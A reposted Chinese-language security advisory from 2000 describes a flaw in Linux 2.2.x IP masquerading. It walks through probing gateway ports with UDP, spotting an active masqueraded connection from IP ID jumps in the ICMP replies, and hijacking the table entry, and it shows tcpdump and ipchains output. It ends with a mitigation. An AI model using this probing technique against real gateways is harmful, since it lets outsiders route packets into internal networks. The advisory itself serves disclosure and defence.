歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> Linux文化 >> 2.2.x內核IP偽裝存在安全漏洞

2.2.x內核IP偽裝存在安全漏洞

日期:2017/2/27 12:19:59   编辑:Linux文化


發布日期: 2000-3-31
更新日期: 2000-3-31
受影響的系統:
Debian Linux 2.2pre potato
Debian Linux 2.2
Debian Linux 2.1
Linux kernel 2.2.14
Linux kernel 2.2.12
Linux kernel 2.2.10
RedHat Linux 6.2i386
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
RedHat Linux 6.0 sparc
RedHat Linux 6.0 i386
RedHat Linux 6.0 alpha

描述:
--------------------------------------------------------------------------------

Linux系統2.2.x內核的IP偽裝實現中存在嚴重安全漏洞。在相關的核心代碼中對連接情況缺
乏認真的檢查。攻擊者可以重寫核心中UDP偽裝表項,使攻擊者的UDP包可以被路由進內部機
器。


當一個內部IP要訪問外部網絡的DNS服務器時,當發送的UDP包經過IP偽裝網關時,內核會添
加一個表項來記錄這個連接。比如從內部主機A的1035端口連往外部主機C的53端口的一個UDP
包,內核將這個包的源地址替換成偽裝網關(B)的IP,源端口設置成網關上為此連接分配的一個
端口,缺省是從61000端口到65096端口,因此理論上可以核心同時處理4096個TCP/UDP偽裝連接。

Host A:1035 -> GW B:63767 -> Host C:53


當外部網絡發送一個UDP包到偽裝網關時,Linux IP偽裝只根據目標端口來決定是否應該將這個
UDP包轉發到內部網絡。如果目標端口在已經建立的偽裝連接表中有對應表項,它就會將此包中
的源ip和源端口更新相應表項的遠程主機ip和端口。攻擊者只要判斷偽裝網關的的端口就可能
用自己的ip和端口來重寫偽裝連接表。偽裝網關用來為偽裝連接服務的端口范圍通常是從61000
到65096,因此外部攻擊者很容易判斷哪些端口已經被用來建立連接。攻擊者可以向偽裝網關的這
些端口發送UDP檢測包,然後檢查端口的ICMP應答包的IP ID。每個主機每發一個包,它的TCP/IP
棧中的IP ID會遞增一。因此對於用於ip偽裝的端口所發會的ICMP應答中將會有內部主機的IP ID.
這個ID通常會與網關主機的當前IP ID相差很多,通常都在1000以上。下面的例子就顯示了利用
弱點進行攻擊的過程:


主機 A 是內部主機 (192.168.1.100)
主機 B 是偽裝網關 (192.168.1.1 / 10.0.0.1)
主機 C 是一台外部DNS服務器 (10.0.0.25)
主機 X 是外部攻擊者的IP (10.10.187.13)

進行檢測之前,在偽裝網關上執行命令:ipchains -L -M -n 來顯示當前偽裝連接表的情況:

> UDP 03:39.21 192.168.1.100 10.0.0.25 1035 (63767) -> 53

目前是從192.168.1.100的1035端口發往10.0.0.25的53端口的連接,偽裝端口是63767

[ 從攻擊者的機器上進行tcpdump得到的結果]

(為了更容易的看清楚問題,這裡我們設置所有檢測用的包的源端口為12345 )

[ 我們的檢測將從61000端口開始,我們略掉了前面的一些結果 ]

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63762 unreachable [tos 0xd8] (ttl 245, id 13135)
10.10.187.13.12345 > 10.0.0.1.63763: udp 0 (DF) [tos 0x18] (ttl 254, id 23069)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63763 unreachable [tos 0xd8] (ttl 245, id 13136)
10.10.187.13.12345 > 10.0.0.1.63764: udp 0 (DF) [tos 0x18] (ttl 254, id 23070)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63764 unreachable [tos 0xd8] (ttl 245, id 13137)
10.10.187.13.12345 > 10.0.0.1.63765: udp 0 (DF) [tos 0x18] (ttl 254, id 23071)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63765 unreachable [tos 0xd8] (ttl 245, id 13138)
10.10.187.13.12345 > 10.0.0.1.63766: udp 0 (DF) [tos 0x18] (ttl 254, id 23074)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63766 unreachable [tos 0xd8] (ttl 245, id 13139)
10.10.187.13.12345 > 10.0.0.1.63767: udp 0 (DF) [tos 0x18] (ttl 254, id 23083)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63767 unreachable [tos 0xd8] (ttl 244, id 17205)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
上面這個包的ID是17205,它與13139相差已經超過4000了,這就是說,我們發現了一個經過偽裝的連接。!!!


10.10.187.13.12345 > 10.0.0.1.63768: udp 0 (DF) [tos 0x18] (ttl 254, id 23084)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63768 unreachable [tos 0xd8] (ttl 245, id 13140)
10.10.187.13.12345 > 10.0.0.1.63769: udp 0 (DF) [tos 0x18] (ttl 254, id 23088)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63769 unreachable [tos 0xd8] (ttl 245, id 13141)
10.10.187.13.12345 > 10.0.0.1.63770: udp 0 (DF) [tos 0x18] (ttl 254, id 23090)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63770 unreachable [tos 0xd8] (ttl 245, id 13142)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23091)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63771 unreachable [tos 0xd8] (ttl 245, id 13143)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23092)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63772 unreachable [tos 0xd8] (ttl 245, id 13144)

[ 我們的檢測到65096端口結束,我們省略了一些結果 ]

現在我們再來檢查一下偽裝網關的偽裝連接表的情況:
ipchains -L -M -n
> UDP 04:35.12 192.168.1.100 10.10.187.13 1035 (63767) -> 12345

可以看到,現在遠程主機已經換成了攻擊者的ip:10.10.187.13,目標端口也換成了攻擊者
檢測用的源端口:12345

現在攻擊者就可以從12345源端口發送UDP數據給內部主機的1035端口了。

--------------------------------------------------------------------------------
建議:

對於訪問外部DNS的問題,一個可能的解決辦法是在偽裝網關上設置一個緩存域名服務器,
然後禁止UDP包的偽裝。


——摘自:綠色兵團


Copyright © Linux教程網 All Rights Reserved